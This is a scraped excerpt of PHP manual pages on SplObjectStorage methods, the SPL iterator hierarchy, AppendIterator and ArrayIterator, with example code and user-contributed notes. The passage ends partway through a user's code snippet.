  • SplObjectStorage::addAll() - Adds all objects from another storage

User Contributed Notes

rafal dot wrzeszcz at wrzasq dot pl 22-May-2013 07:29
You can call:

$storage->removeAll($storage);

To remove all elements.


Removes all objects except for those contained in another storage from the current storage

  • « SplObjectStorage::removeAll
  • SplObjectStorage::rewind »
  • PHP Manual
  • SplObjectStorage
  • Removes all objects except for those contained in another storage from the current storage

SplObjectStorage::removeAllExcept

(PHP 5 >= 5.3.6)

SplObjectStorage::removeAllExcept — Removes all objects except for those contained in another storage from the current storage

Description

public void SplObjectStorage::removeAllExcept ( SplObjectStorage $storage )

Removes all objects except for those contained in another storage from the current storage.

Parameters

storage

The storage containing the elements to retain in the current storage.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::removeAllExcept() example

<?php
$a = (object) 'a';
$b = (object) 'b';
$c = (object) 'c';

$foo = new SplObjectStorage;
$foo->attach($a);
$foo->attach($b);

$bar = new SplObjectStorage;
$bar->attach($b);
$bar->attach($c);

$foo->removeAllExcept($bar);
var_dump($foo->contains($a));
var_dump($foo->contains($b));
?>

The above example will output something similar to:

bool(false)
bool(true)

User Contributed Notes

kirk at wa dot net dot ua 21-Jun-2011 11:12
You may remove all elements by passing empty SplObjectStorage

$splStorage->removeAllExcept(new SplObjectStorage());


Rewind the iterator to the first storage element

  • « SplObjectStorage::removeAllExcept
  • SplObjectStorage::serialize »
  • PHP Manual
  • SplObjectStorage
  • Rewind the iterator to the first storage element

SplObjectStorage::rewind

(PHP 5 >= 5.1.0)

SplObjectStorage::rewind — Rewind the iterator to the first storage element

Description

public void SplObjectStorage::rewind ( void )

Rewind the iterator to the first storage element.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::rewind() example

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // similar to current($s)
    $data   = $s->getInfo();

    var_dump($object);
    var_dump($data);
    $s->next();
}
?>

The above example will output something similar to:

int(1)
int(0)

See Also

  • SplObjectStorage::next() - Move to the next entry

User Contributed Notes

There are no user contributed notes for this page.


Serializes the storage

  • « SplObjectStorage::rewind
  • SplObjectStorage::setInfo »
  • PHP Manual
  • SplObjectStorage
  • Serializes the storage

SplObjectStorage::serialize

(PHP 5 >= 5.2.2)

SplObjectStorage::serialize — Serializes the storage

Description

public string SplObjectStorage::serialize ( void )

Returns a string representation of the storage.

Parameters

This function has no parameters.

Return Values

A string representing the storage.

Examples

Example #1 SplObjectStorage::serialize() example

<?php
$s = new SplObjectStorage;
$o = new StdClass;
$s[$o] = "data";

echo $s->serialize()."\n";
?>

The above example will output something similar to:

x:i:1;O:8:"stdClass":0:{},s:4:"data";;m:a:0:{}

See Also

  • SplObjectStorage::unserialize() - Unserializes a storage from its string representation

User Contributed Notes

There are no user contributed notes for this page.


Sets the data associated with the current iterator entry

  • « SplObjectStorage::serialize
  • SplObjectStorage::unserialize »
  • PHP Manual
  • SplObjectStorage
  • Sets the data associated with the current iterator entry

SplObjectStorage::setInfo

(PHP 5 >= 5.3.0)

SplObjectStorage::setInfo — Sets the data associated with the current iterator entry

Description

public void SplObjectStorage::setInfo ( mixed $data )

Associates data, or info, with the object currently pointed to by the iterator.

Parameters

data

The data to associate with the current iterator entry.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::setInfo() example

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $s->setInfo("new");
    $s->next();
}
var_dump($s[$o1]);
var_dump($s[$o2]);
?>

The above example will output something similar to:

string(3) "new"
string(3) "new"

See Also

  • SplObjectStorage::current() - Returns the current storage entry
  • SplObjectStorage::rewind() - Rewind the iterator to the first storage element
  • SplObjectStorage::key() - Returns the index at which the iterator currently is
  • SplObjectStorage::next() - Move to the next entry
  • SplObjectStorage::valid() - Returns if the current iterator entry is valid
  • SplObjectStorage::getInfo() - Returns the data associated with the current iterator entry

User Contributed Notes

There are no user contributed notes for this page.


Unserializes a storage from its string representation

  • « SplObjectStorage::setInfo
  • SplObjectStorage::valid »
  • PHP Manual
  • SplObjectStorage
  • Unserializes a storage from its string representation

SplObjectStorage::unserialize

(PHP 5 >= 5.2.2)

SplObjectStorage::unserialize — Unserializes a storage from its string representation

Description

public void SplObjectStorage::unserialize ( string $serialized )

Unserializes storage entries and attach them to the current storage.

Parameters

serialized

The serialized representation of a storage.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::unserialize() example

<?php
$s1 = new SplObjectStorage;
$s2 = new SplObjectStorage;
$o = new StdClass;
$s1[$o] = "data";

$s2->unserialize($s1->serialize());

var_dump(count($s2));
?>

The above example will output something similar to:

int(1)

See Also

  • SplObjectStorage::serialize() - Serializes the storage

User Contributed Notes

There are no user contributed notes for this page.


Returns if the current iterator entry is valid

  • « SplObjectStorage::unserialize
  • Iterators »
  • PHP Manual
  • SplObjectStorage
  • Returns if the current iterator entry is valid

SplObjectStorage::valid

(PHP 5 >= 5.1.0)

SplObjectStorage::valid — Returns if the current iterator entry is valid

Description

public bool SplObjectStorage::valid ( void )

Returns if the current iterator entry is valid.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the iterator entry is valid, FALSE otherwise.

Examples

Example #1 SplObjectStorage::valid() example

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    echo $s->key()."\n";
    $s->next();
}
?>

The above example will output something similar to:

0
1

See Also

  • SplObjectStorage::current() - Returns the current storage entry
  • SplObjectStorage::getInfo() - Returns the data associated with the current iterator entry

User Contributed Notes

There are no user contributed notes for this page.


Iterators

Table of Contents

  • AppendIterator
  • ArrayIterator
  • CachingIterator
  • CallbackFilterIterator
  • DirectoryIterator
  • EmptyIterator
  • FilesystemIterator
  • FilterIterator
  • GlobIterator
  • InfiniteIterator
  • IteratorIterator
  • LimitIterator
  • MultipleIterator
  • NoRewindIterator
  • ParentIterator
  • RecursiveArrayIterator
  • RecursiveCachingIterator
  • RecursiveCallbackFilterIterator
  • RecursiveDirectoryIterator
  • RecursiveFilterIterator
  • RecursiveIteratorIterator
  • RecursiveRegexIterator
  • RecursiveTreeIterator
  • RegexIterator

SPL provides a set of iterators to traverse over objects.

SPL Iterators Class Tree

  • ArrayIterator
    • RecursiveArrayIterator
  • EmptyIterator
  • IteratorIterator
    • AppendIterator
    • CachingIterator
      • RecursiveCachingIterator
    • FilterIterator
      • CallbackFilterIterator
        • RecursiveCallbackFilterIterator
      • RecursiveFilterIterator
        • ParentIterator
      • RegexIterator
        • RecursiveRegexIterator
    • InfiniteIterator
    • LimitIterator
    • NoRewindIterator
  • MultipleIterator
  • RecursiveIteratorIterator
    • RecursiveTreeIterator
  • DirectoryIterator (extends SplFileInfo)
    • FilesystemIterator
      • GlobIterator
      • RecursiveDirectoryIterator

User Contributed Notes

There are no user contributed notes for this page.


The AppendIterator class

(PHP 5 >= 5.1.0)

Introduction

An Iterator that iterates over several iterators one after the other.

Class synopsis

AppendIterator extends IteratorIterator implements OuterIterator {
/* Methods */
public __construct ( void )
public void append ( Iterator $iterator )
public mixed current ( void )
public void getArrayIterator ( void )
public Iterator getInnerIterator ( void )
public int getIteratorIndex ( void )
public scalar key ( void )
public void next ( void )
public void rewind ( void )
public bool valid ( void )
/* Inherited methods */
public IteratorIterator::__construct ( Traversable $iterator )
public mixed IteratorIterator::current ( void )
public Traversable IteratorIterator::getInnerIterator ( void )
public scalar IteratorIterator::key ( void )
public void IteratorIterator::next ( void )
public void IteratorIterator::rewind ( void )
public bool IteratorIterator::valid ( void )
}

Table of Contents

  • AppendIterator::append — Appends an iterator
  • AppendIterator::__construct — Constructs an AppendIterator
  • AppendIterator::current — Gets the current value
  • AppendIterator::getArrayIterator — Gets the ArrayIterator
  • AppendIterator::getInnerIterator — Gets the inner iterator
  • AppendIterator::getIteratorIndex — Gets an index of iterators
  • AppendIterator::key — Gets the current key
  • AppendIterator::next — Moves to the next element
  • AppendIterator::rewind — Rewinds the Iterator
  • AppendIterator::valid — Checks validity of the current element

User Contributed Notes

There are no user contributed notes for this page.


Appends an iterator

  • « AppendIterator
  • AppendIterator::__construct »
  • PHP Manual
  • AppendIterator
  • Appends an iterator

AppendIterator::append

(PHP 5 >= 5.1.0)

AppendIterator::append — Appends an iterator

Description

public void AppendIterator::append ( Iterator $iterator )

Appends an iterator.

Parameters

iterator

The iterator to append.

Return Values

No value is returned.

Examples

Example #1 AppendIterator::append() example

<?php
$array_a = new ArrayIterator(array('a', 'b', 'c'));
$array_b = new ArrayIterator(array('d', 'e', 'f'));

$iterator = new AppendIterator;
$iterator->append($array_a);
$iterator->append($array_b);

foreach ($iterator as $current) {
    echo $current;
}
?>

The above example will output:

abcdef

See Also

  • AppendIterator::__construct() - Constructs an AppendIterator

User Contributed Notes

There are no user contributed notes for this page.


Constructs an AppendIterator

  • « AppendIterator::append
  • AppendIterator::current »
  • PHP Manual
  • AppendIterator
  • Constructs an AppendIterator

AppendIterator::__construct

(PHP 5 >= 5.1.0)

AppendIterator::__construct — Constructs an AppendIterator

Description

public AppendIterator::__construct ( void )

Constructs an AppendIterator.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 Iterating AppendIterator with foreach

<?php
$pizzas   = new ArrayIterator(array('Margarita', 'Siciliana', 'Hawaii'));
$toppings = new ArrayIterator(array('Cheese', 'Anchovies', 'Olives', 'Pineapple', 'Ham'));

$appendIterator = new AppendIterator;
$appendIterator->append($pizzas);
$appendIterator->append($toppings);

foreach ($appendIterator as $key => $item) {
    echo $key . ' => ' . $item . PHP_EOL;
}
?>

The above example will output:

0 => Margarita
1 => Siciliana
2 => Hawaii
0 => Cheese
1 => Anchovies
2 => Olives
3 => Pineapple
4 => Ham

Example #2 Iterating AppendIterator with the AppendIterator API

<?php
$pizzas   = new ArrayIterator(array('Margarita', 'Siciliana', 'Hawaii'));
$toppings = new ArrayIterator(array('Cheese', 'Anchovies', 'Olives', 'Pineapple', 'Ham'));

$appendIterator = new AppendIterator;
$appendIterator->append($pizzas);
$appendIterator->append($toppings);

while ($appendIterator->valid()) {
    printf(
        '%s => %s => %s%s',
        $appendIterator->getIteratorIndex(),
        $appendIterator->key(),
        $appendIterator->current(),
        PHP_EOL
    );
    $appendIterator->next();
}
?>

The above example will output:

0 => 0 => Margarita
0 => 1 => Siciliana
0 => 2 => Hawaii
1 => 0 => Cheese
1 => 1 => Anchovies
1 => 2 => Olives
1 => 3 => Pineapple
1 => 4 => Ham

Notes

Caution

When using iterator_to_array() to copy the values of the AppendIterator into an array, you have to set the optional use_key argument to FALSE. When use_key is not FALSE any keys reoccuring in inner iterators will get overwritten in the returned array. There is no way to preserve the original keys.

See Also

  • AppendIterator::append() - Appends an iterator

User Contributed Notes

There are no user contributed notes for this page.


Gets the current value

  • « AppendIterator::__construct
  • AppendIterator::getArrayIterator »
  • PHP Manual
  • AppendIterator
  • Gets the current value

AppendIterator::current

(PHP 5 >= 5.1.0)

AppendIterator::current — Gets the current value

Description

public mixed AppendIterator::current ( void )

Gets the current value.

Parameters

This function has no parameters.

Return Values

The current value if it is valid or NULL otherwise.

See Also

  • Iterator::current() - Return the current element
  • AppendIterator::key() - Gets the current key
  • AppendIterator::valid() - Checks validity of the current element
  • AppendIterator::next() - Moves to the next element
  • AppendIterator::rewind() - Rewinds the Iterator

User Contributed Notes

There are no user contributed notes for this page.


Gets the ArrayIterator

  • « AppendIterator::current
  • AppendIterator::getInnerIterator »
  • PHP Manual
  • AppendIterator
  • Gets the ArrayIterator

AppendIterator::getArrayIterator

(PHP 5 >= 5.1.0)

AppendIterator::getArrayIterator — Gets the ArrayIterator

Description

public void AppendIterator::getArrayIterator ( void )

This method gets the ArrayIterator that is used to store the iterators added with AppendIterator::append().

Parameters

This function has no parameters.

Return Values

Returns an ArrayIterator containing the appended iterators.

See Also

  • AppendIterator::getInnerIterator() - Gets the inner iterator

User Contributed Notes

There are no user contributed notes for this page.


Gets the inner iterator

  • « AppendIterator::getArrayIterator
  • AppendIterator::getIteratorIndex »
  • PHP Manual
  • AppendIterator
  • Gets the inner iterator

AppendIterator::getInnerIterator

(PHP 5 >= 5.1.0)

AppendIterator::getInnerIterator — Gets the inner iterator

Description

public Iterator AppendIterator::getInnerIterator ( void )

This method returns the current inner iterator.

Parameters

This function has no parameters.

Return Values

The current inner iterator, or NULL if there is not one.

Examples

Example #1 AppendIterator::getInnerIterator() example

<?php
$array_a = new ArrayIterator(array('a' => 'aardwolf', 'b' => 'bear', 'c' => 'capybara'));
$array_b = new RegexIterator($array_a, '/^[ac]/');

$iterator = new AppendIterator;
$iterator->append($array_a);
$iterator->append($array_b);

foreach ($iterator as $current) {
    $inner = $iterator->getInnerIterator();
    if ($inner instanceOf RegexIterator) {
        echo 'Filtered: ';
    } else {
        echo 'Original: ';
    }
    echo $current . PHP_EOL;
}
?>

The above example will output:

Original: aardwolf
Original: bear
Original: capybara
Filtered: aardwolf
Filtered: capybara

See Also

  • AppendIterator::getIteratorIndex() - Gets an index of iterators

User Contributed Notes

There are no user contributed notes for this page.


Gets an index of iterators

  • « AppendIterator::getInnerIterator
  • AppendIterator::key »
  • PHP Manual
  • AppendIterator
  • Gets an index of iterators

AppendIterator::getIteratorIndex

(PHP 5 >= 5.1.0)

AppendIterator::getIteratorIndex — Gets an index of iterators

Description

public int AppendIterator::getIteratorIndex ( void )

Gets the index of the current inner iterator.

Parameters

This function has no parameters.

Return Values

Returns an integer, which is the zero-based index of the current inner iterator.

Examples

Example #1 AppendIterator.getIteratorIndex() basic example

<?php
$array_a = new ArrayIterator(array('a' => 'aardwolf', 'b' => 'bear', 'c' => 'capybara'));
$array_b = new ArrayIterator(array('apple', 'orange', 'lemon'));

$iterator = new AppendIterator;
$iterator->append($array_a);
$iterator->append($array_b);

foreach ($iterator as $key => $current) {
    echo $iterator->getIteratorIndex() . '  ' . $key . ' ' . $current . PHP_EOL;
}
?>

The above example will output:

0  a aardwolf
0  b bear
0  c capybara
1  0 apple
1  1 orange
1  2 lemon

See Also

  • AppendIterator::getInnerIterator() - Gets the inner iterator
  • AppendIterator::getArrayIterator() - Gets the ArrayIterator

User Contributed Notes

There are no user contributed notes for this page.


Gets the current key

  • « AppendIterator::getIteratorIndex
  • AppendIterator::next »
  • PHP Manual
  • AppendIterator
  • Gets the current key

AppendIterator::key

(PHP 5 >= 5.1.0)

AppendIterator::key — Gets the current key

Description

public scalar AppendIterator::key ( void )

Get the current key.

Parameters

This function has no parameters.

Return Values

The current key if it is valid or NULL otherwise.

Examples

Example #1 AppendIterator::key() basic example

<?php
$array_a = new ArrayIterator(array('a' => 'aardwolf', 'b' => 'bear', 'c' => 'capybara'));
$array_b = new ArrayIterator(array('apple', 'orange', 'lemon'));

$iterator = new AppendIterator;
$iterator->append($array_a);
$iterator->append($array_b);

// Manual iteration
$iterator->rewind();
while ($iterator->valid()) {
    echo $iterator->key() . ' ' . $iterator->current() . PHP_EOL;
    $iterator->next();
}

echo PHP_EOL;

// With foreach
foreach ($iterator as $key => $current) {
    echo $key . ' ' . $current . PHP_EOL;
}
?>

The above example will output:

a aardwolf
b bear
c capybara
0 apple
1 orange
2 lemon

a aardwolf
b bear
c capybara
0 apple
1 orange
2 lemon

See Also

  • Iterator::key() - Return the key of the current element
  • AppendIterator::current() - Gets the current value
  • AppendIterator::valid() - Checks validity of the current element
  • AppendIterator::next() - Moves to the next element
  • AppendIterator::rewind() - Rewinds the Iterator

User Contributed Notes

There are no user contributed notes for this page.


Moves to the next element

  • « AppendIterator::key
  • AppendIterator::rewind »
  • PHP Manual
  • AppendIterator
  • Moves to the next element

AppendIterator::next

(PHP 5 >= 5.1.0)

AppendIterator::next — Moves to the next element

Description

public void AppendIterator::next ( void )

Moves to the next element. If this means to another Iterator then it rewinds that Iterator.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • Iterator::next() - Move forward to next element
  • AppendIterator::current() - Gets the current value
  • AppendIterator::key() - Gets the current key
  • AppendIterator::valid() - Checks validity of the current element
  • AppendIterator::rewind() - Rewinds the Iterator

User Contributed Notes

There are no user contributed notes for this page.


Rewinds the Iterator

  • « AppendIterator::next
  • AppendIterator::valid »
  • PHP Manual
  • AppendIterator
  • Rewinds the Iterator

AppendIterator::rewind

(PHP 5 >= 5.1.0)

AppendIterator::rewind — Rewinds the Iterator

Description

public void AppendIterator::rewind ( void )

Rewind to the first element of the first inner Iterator.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • Iterator::rewind() - Rewind the Iterator to the first element
  • AppendIterator::current() - Gets the current value
  • AppendIterator::key() - Gets the current key
  • AppendIterator::next() - Moves to the next element
  • AppendIterator::valid() - Checks validity of the current element

User Contributed Notes

There are no user contributed notes for this page.


Checks validity of the current element

  • « AppendIterator::rewind
  • ArrayIterator »
  • PHP Manual
  • AppendIterator
  • Checks validity of the current element

AppendIterator::valid

(PHP 5 >= 5.1.0)

AppendIterator::valid — Checks validity of the current element

Description

public bool AppendIterator::valid ( void )

Checks validity of the current element.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current iteration is valid, FALSE otherwise.

See Also

  • AppendIterator::current() - Gets the current value
  • AppendIterator::key() - Gets the current key
  • AppendIterator::next() - Moves to the next element
  • AppendIterator::rewind() - Rewinds the Iterator

User Contributed Notes

There are no user contributed notes for this page.


The ArrayIterator class

(PHP 5)

Introduction

This iterator allows to unset and modify values and keys while iterating over Arrays and Objects.

When you want to iterate over the same array multiple times you need to instantiate ArrayObject and let it create ArrayIterator instances that refer to it either by using foreach or by calling its getIterator() method manually.

Class synopsis

ArrayIterator implements ArrayAccess , SeekableIterator , Countable , Serializable {
/* Methods */
public void append ( mixed $value )
public void asort ( void )
public __construct ([ mixed $array = array() [, int $flags = 0 ]] )
public int count ( void )
public mixed current ( void )
public array getArrayCopy ( void )
public void getFlags ( void )
public mixed key ( void )
public void ksort ( void )
public void natcasesort ( void )
public void natsort ( void )
public void next ( void )
public void offsetExists ( string $index )
public mixed offsetGet ( string $index )
public void offsetSet ( string $index , string $newval )
public void offsetUnset ( string $index )
public void rewind ( void )
public void seek ( int $position )
public string serialize ( void )
public void setFlags ( string $flags )
public void uasort ( string $cmp_function )
public void uksort ( string $cmp_function )
public string unserialize ( string $serialized )
public bool valid ( void )
}

Table of Contents

  • ArrayIterator::append — Append an element
  • ArrayIterator::asort — Sort array by values
  • ArrayIterator::__construct — Construct an ArrayIterator
  • ArrayIterator::count — Count elements
  • ArrayIterator::current — Return current array entry
  • ArrayIterator::getArrayCopy — Get array copy
  • ArrayIterator::getFlags — Get flags
  • ArrayIterator::key — Return current array key
  • ArrayIterator::ksort — Sort array by keys
  • ArrayIterator::natcasesort — Sort an array naturally, case insensitive
  • ArrayIterator::natsort — Sort an array naturally
  • ArrayIterator::next — Move to next entry
  • ArrayIterator::offsetExists — Check if offset exists
  • ArrayIterator::offsetGet — Get value for an offset
  • ArrayIterator::offsetSet — Set value for an offset
  • ArrayIterator::offsetUnset — Unset value for an offset
  • ArrayIterator::rewind — Rewind array back to the start
  • ArrayIterator::seek — Seek to position
  • ArrayIterator::serialize — Serialize
  • ArrayIterator::setFlags — Set behaviour flags
  • ArrayIterator::uasort — User defined sort
  • ArrayIterator::uksort — User defined sort
  • ArrayIterator::unserialize — Unserialize
  • ArrayIterator::valid — Check whether array contains more entries

User Contributed Notes

Relakuyae 20-Oct-2011 02:23
Need a callback on an iterated value, but don't have PHP 5.4+?  This makes is stupid easy:

<?php
class ArrayCallbackIterator extends ArrayIterator {
  private $callback;
  public function __construct($value, $callback) {
    parent::__construct($value);
    $this->callback = $callback;
  }

  public function current() {
    $value = parent::current();
    return call_user_func($this->callback, $value);
  }
}
?>

You can use it pretty much exactly as the Array Iterator:

<?php
$iterator1 = new ArrayCallbackIterator($valueList, "callback_function");
$iterator2 = new ArrayCallbackIterator($valueList, array($object, "callback_class_method"));
?>
foobuilder at gmail dot com 09-Dec-2010 08:01
Unsetting all keys of an ArrayItem within foreach will always leave the second key:

<?php
$items = new ArrayObject(range(0, 9));

while (list($k, $v) = each($items)) {
    unset($items[$k]);
}

print_r($items);

//  ArrayIterator Object
//  (
//      [storage:ArrayIterator:private] => Array
//          (
//              [1] => 1
//          )
//  )
?>

I'm not sure if this is a bug as unsetting keys within foreach is usually a bad idea to begin with (use while instead), but it's something to be aware of.
Sean Burlington 26-May-2009 02:15
and to iterate recursively use the (sparsely documented)  RecursiveArrayIterator

<?php

$fruits = array(
                "apple" => "yummy",
                "orange" => "ah ya, nice",
                "grape" => "wow, I love it!",
                 "plum" => "nah, not me"
                );

$veg = array("potato" => "chips", "carrot" => "soup");
$grocery = array($fruits, $veg);
$obj = new ArrayObject( $grocery );

$it = new RecursiveIteratorIterator( new RecursiveArrayIterator($grocery));

foreach ($it as $key=>$val)
echo $key.":".$val."\n";

?>

Output
--------
apple:yummy
orange:ah ya, nice
grape:wow, I love it!
plum:nah, not me
potato:chips
carrot:soup
Venelin Vulkov 11-Nov-2008 12:44
Another fine Iterator from php . You can use it especially when you have to iterate over objects

<?php
$fruits = array(
    "apple" => "yummy",
    "orange" => "ah ya, nice",
    "grape" => "wow, I love it!",
    "plum" => "nah, not me"
);
$obj = new ArrayObject( $fruits );
$it = $obj->getIterator();

// How many items are we iterating over?

echo "Iterating over: " . $obj->count() . " values\n";

// Iterate over the values in the ArrayObject:
while( $it->valid() )
{
    echo $it->key() . "=" . $it->current() . "\n";
    $it->next();
}

// The good thing here is that it can be iterated with foreach loop

foreach ($it as $key=>$val)
echo $key.":".$val."\n";

/* Outputs something like */

Iterating over: 4 values
apple=yummy
orange=ah ya, nice
grape=wow, I love it!
plum=nah, not me

?>

Regards.


Append an element

  • « ArrayIterator
  • ArrayIterator::asort »
  • PHP Manual
  • ArrayIterator
  • Append an element

ArrayIterator::append

(PHP 5 >= 5.0.0)

ArrayIterator::append — Append an element

Description

public void ArrayIterator::append ( mixed $value )

Appends value as the last element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

value

The value to append.

Return Values

No value is returned.

Notes

Note:

This method cannot be called when the ArrayIterator refers to an object.

See Also

  • ArrayIterator::next() - Move to next entry

User Contributed Notes

martin dot abbrent+php dot net at ufz dot de 02-May-2013 09:49
As ArrayIterator is not a real list the implementation of "append" is a little bit confusing me. When using "append" I expected the new value at the postion "last element index + 1". This will not happen when you unset elements before.
It seems like indexes once they're used are blacklisted end never used again, even if they're unset.
Like suggested in http://www.php.net/manual/de/arrayiterator.offsetset.php#106775 ArrayIterator::append uses ArrayIterator::offsetSet with empty index parameter. So I've this two workarounds to get "append" to work like I want:

<?php
class myArrayIterator extends ArrayIterator {

    public function offsetSet($offset, $value) {

        if (is_null($offset)) { // offset == null when it's called by ArrayIterator::append
            $offset = $this->generateOffset(); // do it in a separate method
        }
        parent::offsetSet($offset, $value); // call the native implementation with an index
        $this->ksort(); // sort it to avoid confusion when it gets dumped or iterated
    }

    protected function generateOffset() {

        $offset = count($this); // take count as offset as it should be lastKey+1
        while ($this->offsetExists($offset)) { // is it really empty?
            $offset++; // try the next one until there's an empty one
        }
        return $offset;
    }
}

class mySaveArrayIterator extends myArrayIterator {

    protected function generateOffset() {

        $offset = 0; // expect zero is the first possible key
        while ($this->offsetExists($offset)) { // try every key until there's an empty one
            $offset++;
        }
        return $offset;
    }
}

$data = array('foo', 'bar', 'baz');

$array       = new ArrayIterator($data);
$myArray     = new myArrayIterator($data);
$mySaveArray = new mySaveArrayIterator($data);

// remove the last element
$array      ->offsetUnset(2);
$myArray    ->offsetUnset(2);
$mySaveArray->offsetUnset(2);

// append an element
$array      ->append('foobar');
$myArray    ->append('foobar');
$mySaveArray->append('foobar');

// check the position of the new element
print_r($array);
print_r($myArray);
print_r($mySaveArray);

// remove some element
$array      ->offsetUnset(1);
$myArray    ->offsetUnset(1);
$mySaveArray->offsetUnset(1);

// again append an element
$array      ->append('foobarbaz');
$myArray    ->append('foobarbaz');
$mySaveArray->append('foobarbaz');

// check the position of the new element
print_r($array);
print_r($myArray);
print_r($mySaveArray);
?>

Output:

ArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => bar
            [3] => foobar
        )

)
myArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => bar
            [2] => foobar
        )

)
mySaveArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => bar
            [2] => foobar
        )

)
ArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [3] => foobar
            [4] => foobarbaz
        )

)
myArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [2] => foobar
            [3] => foobarbaz
        )

)
mySaveArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => foobarbaz
            [2] => foobar
        )

)

This helped me to treat the ArrayIterator as a list with valid indexes in a serial manner.
lenye01 at gmail dot com 11-Feb-2011 05:11
we can append values after the given array,the index is begin from 0, for example:

<?php
$b = array('name'=>'mengzhi','age'=>'22','city'=>'shanghai');
$a = new ArrayIterator($b);
$a->append(array('home'=>'china','work'=>'developer'));
var_dump($a);
?>

then output:
object(ArrayIterator)#1 (1) { ["storage":"ArrayIterator":private]=> array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } } }


Sort array by values

  • « ArrayIterator::append
  • ArrayIterator::__construct »
  • PHP Manual
  • ArrayIterator
  • Sort array by values

ArrayIterator::asort

(PHP 5 >= 5.2.0)

ArrayIterator::asort — Sort array by values

Description

public void ArrayIterator::asort ( void )

Sorts an array by values.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • ArrayIterator::ksort() - Sort array by keys
  • ArrayIterator::natcasesort() - Sort an array naturally, case insensitive
  • ArrayIterator::natsort() - Sort an array naturally

User Contributed Notes

There are no user contributed notes for this page.


Construct an ArrayIterator

  • « ArrayIterator::asort
  • ArrayIterator::count »
  • PHP Manual
  • ArrayIterator
  • Construct an ArrayIterator

ArrayIterator::__construct

(PHP 5 >= 5.0.0)

ArrayIterator::__construct — Construct an ArrayIterator

Description

public ArrayIterator::__construct ([ mixed $array = array() [, int $flags = 0 ]] )

Constructs an ArrayIterator object.

Warning

This function is currently not documented; only its argument list is available.

Parameters

array

The array or object to be iterated on.

flags

Flags to control the behaviour of the ArrayIterator object. See ArrayIterator::setFlags().

Return Values

An ArrayIterator object.

Errors/Exceptions

ArrayIterator::__construct() throws an InvalidArgumentException if anything besides an array or an object is given.

See Also

  • ArrayIterator::getArrayCopy() - Get array copy

User Contributed Notes

foobuilder at gmail dot com 02-Nov-2010 06:54
The method description looks like it requires a parameter, but it is actually optional:

$iter= new ArrayIterator();
$iter['bacon'] = 'tasty';


Count elements

  • « ArrayIterator::__construct
  • ArrayIterator::current »
  • PHP Manual
  • ArrayIterator
  • Count elements

ArrayIterator::count

(PHP 5 >= 5.0.0)

ArrayIterator::count — Count elements

Description

public int ArrayIterator::count ( void )

Gets the number of elements in the array, or the number of public properties in the object.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The number of elements or public properties in the associated array or object, respectively.

See Also

  • ArrayIterator::getFlags() - Get flags

User Contributed Notes

There are no user contributed notes for this page.


Return current array entry

  • « ArrayIterator::count
  • ArrayIterator::getArrayCopy »
  • PHP Manual
  • ArrayIterator
  • Return current array entry

ArrayIterator::current

(PHP 5 >= 5.0.0)

ArrayIterator::current — Return current array entry

Description

public mixed ArrayIterator::current ( void )

Get the current array entry.

Parameters

This function has no parameters.

Return Values

The current array entry.

Examples

Example #1 ArrayIterator::current() example

<?php
$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);

for($iterator = $arrayobject->getIterator();
    $iterator->valid();
    $iterator->next()) {

    echo $iterator->key() . ' => ' . $iterator->current() . "\n";
}
?>

The above example will output:

1 => one
2 => two
3 => three

User Contributed Notes

pcdinh at phpvietnam dot net 20-Mar-2006 02:47
ArrayIterator is only used for interating simple arrays of which the value part is not another array. You can test it with a more complex array like this:

$arr = array (
    \\\'Section 1\\\' => array (
        \\\'Cat 1\\\' => array (
            1 => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            2 => \\\'So 2\\\'
        ),

        \\\'Cat 2\\\' => array (
            \\\'Sub-cat 1\\\' => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            \\\'Sub-cat 2\\\' => \\\'So 2\\\'
        )
    ),

    \\\'Section 2\\\' => array (
        \\\'Cat 1\\\' => array (

        ),

        \\\'Cat 2\\\' => array (
            \\\'Sub-cat 1\\\' => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            \\\'Sub-cat 2\\\' => \\\'So 2\\\'
        )
    )
);

$arrayobject = new ArrayObject($arr);

for($iterator = $arrayobject->getIterator();
   $iterator->valid();
   $iterator->next()) {

   echo $iterator->key() . \\\' => \\\' . $iterator->current() . \\\"<br />\\\";
}

The above scriptlet will return

Section 1 => Array
Section 2 => Array

because it can not recursively iterate throught the array.

Do the following instead (in PHP5.1):

$arrayIterator = new RecursiveArrayIterator($arr);
$iterator = new RecursiveIteratorIterator($arrayIterator);
foreach ($iterator as $val) {
